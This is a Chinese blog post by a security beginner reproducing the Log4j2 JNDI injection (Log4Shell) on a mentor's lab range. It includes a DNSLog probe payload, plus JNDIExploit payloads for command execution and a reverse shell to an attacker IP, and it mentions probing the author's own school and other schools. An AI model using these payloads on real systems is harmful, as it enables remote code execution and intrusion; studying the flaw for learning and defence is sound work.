前言:
12 月 10 日凌晨,Apache 开源项目 Log4j2 的远程代码执行漏洞细节被公开,漏洞威胁等级为:严重。
Log4j2 是一个基于 Java 的日志记录工具。它重写了 Log4j 框架,引入了大量丰富特性,让用户可以控制日志信息输送的目的地为控制台、文件、GUI 组件等。同时通过定义每一条日志信息的级别,让使用者能够更加细致地控制日志的生成过程。
Log4j 是目前全球使用最广泛的 java 日志框架之一。该漏洞还影响着很多全球使用量前列的开源组件,如 Apache Struts2、Apache Solr、Apache Druid、Apache Flink 等。因为该漏洞利用方式简单,一旦有攻击者利用该漏洞,就可以在目标服务器上执行任意代码,给被攻击者造成极大危害。
此次漏洞主要是 Log4j2 内含的 lookup 功能存在 JNDI 注入漏洞,该功能可以帮助开发者通过一些协议读取相应环境中的配置。漏洞触发方式非常简单,只要日志内容中包含关键词 ${,那么这里面包含的内容就可以作为变量进行替换,攻击者无需任何权限,可以执行任意命令。
Apache Log4j2 这一漏洞触发简单、攻击难度低、影响人群广泛,被称为“史诗级”高危漏洞。
个人的一些感概:
我呢是一个小白,学习网络安全仅仅一个多月。一个多月的时间都是跟着無名之涟师傅(無名之涟师傅的CSDN博客,大家可以去关注一下!)在学习,十分感谢师傅的指导!
12月10日 Log4j2 的远程代码执行漏洞细节被公开了。巧的是在师傅的安排下,我在12月5日打完了vulhub上的fastjson漏洞,可以说这两个漏洞的触发方式是十分相似。大家可以参考我学习fastjson漏洞时记录笔记:vulhub漏洞—fastjson。
这次的漏洞对于我来说是一次难得机会,在学习了一个月之后,遇到了一次实战的机会。在师傅的指导下,我也是成功的挖到了第一枚漏洞,也是破处了哈哈哈哈哈哈哈。
漏洞复现:
这里就拿师傅搭的靶场给大家复现一波把!!师傅的靶机环境就不给大家,感兴趣的可以尝试去搭建,网上现在应该也有教程了把~
漏洞验证POC
启动靶机环境
这里可以通过dnslog验证十分存在漏洞!
先通过 dnslog 获得一个域名。
构造poc: ${jndi:ldap://zulw1d.dnslog.cn/a}
POST提交payload参数
回到dnslog Refresh Record 刷新列表,我们可以看到dns的查询记录,这就说明log4j的漏洞存在。
前言中已经提到了,我们构造的poc: ${jndi:ldap://zulw1d.dnslog.cn/a}
写入了log4j的日志文件中,日志内容中就存在了关键词 ${,这样的话就可以通过 jndi 去访问 ldap ,这样的话靶机服务器就会去解析我们dnslog的domain,这样我们就可以看到查询记录了。
彩蛋(师傅拿苹果耳机玩了一波~):
漏洞利用
漏洞利用可以使用我fastjson漏洞中的方法,这里就不在使用那篇文章中的方法了。
这里使另一个工具(师傅给我们的,师傅tql!!!)
JNDIExploit工具,自行下载jar使用。工具如何使用以及如何构造payload,大家就阅读README.md!下面的漏洞利用就直接上payload了!
命令执行
启动工具
构造命令执行payload: ${jndi:ldap://启动工具的服务器IP:1389/TomcatBypass/TomcatEcho}
,并在header中添加 cdm:whoami(执行的命令),页面回显root!
工具监听回显执行命令成功!
反弹shell
构造payload: ${jndi:ldap://ip:1389/Basic/ReverseShell/ip/4444}
工具监听命令执行成功!
监听反弹端口
总结
payload也是利用工具中的功能组合而成的,能否执行成功还需要进一步测试,以上两个payload就是不断尝试后得到的。在实战中就需要我们根据具体的情况去构造payload,比如利用cc链,cck链等,同时需要进行测试,而且不一定能成功,所以需要我们耐心点,细心点!!!
漏洞爆出后也是打破了我原本的学习规划,無名之涟师傅也是带领我们去复现漏洞,对我们学校以及其他学校进行漏洞测试,我也是紧跟师傅的脚步,抓住了这个机会学习一波~。
最后十分感谢無名之涟师傅!!!